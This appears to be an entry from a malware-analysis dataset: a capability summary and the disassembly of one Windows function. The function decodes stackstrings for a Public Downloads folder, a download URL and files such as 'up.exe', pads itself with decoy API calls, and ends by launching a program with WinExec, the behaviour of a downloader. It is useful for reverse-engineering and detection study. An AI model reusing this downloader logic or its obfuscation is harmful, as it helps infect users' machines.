Function at 0x401890
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete directory
Get file attributes
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41431d
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x41b0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.test
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 4
mov edi, eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], 0xffffffff
cmp edi, ebx
je 0x401900
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401900
push 0xffffffffffffffff
call fcn.0040a953
lea eax, [ebp - 0x1b0]
push eax
mov dword [ebp - 0x40], 0x555c3a43
mov dword [ebp - 0x3c], 0x73726573
mov dword [ebp - 0x38], 0x6275505c
mov dword [ebp - 0x34], 0x5c63696c
mov dword [ebp - 0x30], 0x6e776f44
mov dword [ebp - 0x2c], 0x64616f6c
mov word [ebp - 0x28], 0x5c73
mov byte [ebp - 0x26], bl
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x103
lea ecx, [ebp - 0x183]
push ebx
push ecx
mov byte [ebp - 0x184], bl
call fcn.0040a9c0
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
add esp, 0xc
push ebx
call edi
push 0x415318
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [ebp - 0x198]
push edx
push ebx
mov dword [ebp - 0x24], 0x64257325
mov dword [ebp - 0x20], 0x676e702e
mov byte [ebp - 0x1c], bl
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x3ef
push 0x3f0
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x60], 0x70747468
mov dword [ebp - 0x5c], 0x652f2f3a
mov dword [ebp - 0x58], 0x7269746e
mov dword [ebp - 0x54], 0x62756865
mov dword [ebp - 0x50], 0x7a79782e
mov dword [ebp - 0x4c], 0x6470752f
mov dword [ebp - 0x48], 0x2f657461
mov byte [ebp - 0x44], bl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push 0x23
push 0x5f
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
call edi
push ebx
push 0x41530c
push str.._6O
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x415300
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x184]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push ebx
push 0x4f
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push ebx
push 9
push 0x3b
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
call edi
lea ecx, [ebp - 0x198]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4152f8
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea edx, [ebp - 0x1e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x4152f0
mov dword [ebp - 0x80], 0x65796479
mov dword [ebp - 0x7c], 0x6e69676e
mov dword [ebp - 0x78], 0x6f6f7465
mov dword [ebp - 0x74], 0x6c642e6c
mov word [ebp - 0x70], 0x6c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push str.._b9
push 0x4152e0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push 0x2e
push 0x35
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1a8], 0xf
mov dword [ebp - 0x1ac], ebx
mov byte [ebp - 0x1bc], bl
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401b40
sub eax, ecx
push eax
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x1bc]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401b80
sub eax, edx
push eax
lea edx, [ebp - 0x184]
push edx
lea ecx, [ebp - 0x1a0]
call fcn.00401570
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x1bc]
push ecx
lea edx, [ebp - 0x1a0]
push edx
mov byte [ebp - 4], 0x13
call fcn.00402540
add esp, 0xc
test al, al
sete byte [ebp - 0x1d9]
cmp dword [ebp - 0x18c], 0x10
jb 0x401bdb
mov eax, dword [ebp - 0x1a0]
push eax
call fcn.00409b32
add esp, 4
cmp dword [ebp - 0x1a8], 0x10
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401c10
mov ecx, dword [ebp - 0x1bc]
push ecx
call fcn.00409b32
add esp, 4
cmp byte [ebp - 0x1d9], bl
je 0x401c1e
push ebx
call fcn.0040a953
push 0x3eb
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x1e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0x310
push 0x395
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea eax, [ebp - 0x198]
push eax
push ebx
mov dword [ebp - 0x6c], 0x666e6f63
mov dword [ebp - 0x68], 0x692e6769
mov word [ebp - 0x64], 0x696e
mov byte [ebp - 0x62], bl
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0xffffffffffffffeb
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4152d4
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [ebp - 0x1b0]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1a8], 0xf
mov dword [ebp - 0x1ac], ebx
mov byte [ebp - 0x1bc], bl
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401ce0
sub eax, ecx
push eax
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x1bc]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401d20
sub eax, edx
push eax
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00401570
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp - 4], 0x1b
call fcn.00402540
add esp, 0xc
test al, al
sete byte [ebp - 0x1d9]
cmp dword [ebp - 0x18c], 0x10
jb 0x401d7b
mov ecx, dword [ebp - 0x1a0]
push ecx
call fcn.00409b32
add esp, 4
cmp dword [ebp - 0x1a8], 0x10
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401db0
mov edx, dword [ebp - 0x1bc]
push edx
call fcn.00409b32
add esp, 4
push ebx
cmp byte [ebp - 0x1d9], bl
je 0x401dbe
call fcn.0040a953
mov dword [ebp - 0x18], 0x652e7075
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], bl
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x4152c8
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x4152bc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x4152b0
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push ebx
call edi
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x1b0]
push eax
call esi
mov edi, dword [sym.imp.USER32.dll_GetClientRect]
push eax
call edi
push 1
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x1b0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea edx, [ebp - 0x194]
push edx
call esi
push eax
call edi
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x4152a8
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1a8], 0xf
mov dword [ebp - 0x1ac], ebx
mov byte [ebp - 0x1bc], bl
lea edi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401e90
sub eax, edi
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401ed0
sub eax, edx
push eax
lea ecx, [ebp - 0x184]
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00401570
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x1a0]
push ecx
mov byte [ebp - 4], 0x23
call fcn.00402540
add esp, 0xc
test al, al
mov edi, 0x10
sete byte [ebp - 0x1d9]
cmp dword [ebp - 0x18c], edi
jb 0x401f2f
mov edx, dword [ebp - 0x1a0]
push edx
call fcn.00409b32
add esp, 4
mov dword [ebp - 0x18c], 0xf
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x1a0], bl
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1a8], edi
jb 0x401f63
mov eax, dword [ebp - 0x1bc]
push eax
call fcn.00409b32
add esp, 4
cmp byte [ebp - 0x1d9], bl
je 0x401f71
push ebx
call fcn.0040a953
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x1d8]
call fcn.00401850
push ebx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x26
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401f97
sub eax, edi
push eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x1d8]
call fcn.00401730
push 0xffffffffffffffeb
call esi
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
call edi
lea eax, [ebp - 0x194]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x4152a0
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea ecx, [ebp - 0x1e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x1c4], 0x10
mov eax, dword [ebp - 0x1d8]
jae 0x40200b
lea eax, [ebp - 0x1d8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0xfffffffffffffff0
call esi
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xfffffffffffffff0
call esi
push eax
call edi
push 0x415294
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
push ebx
push 0xe
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0xffffffffffffffff
call fcn.0040a953
int3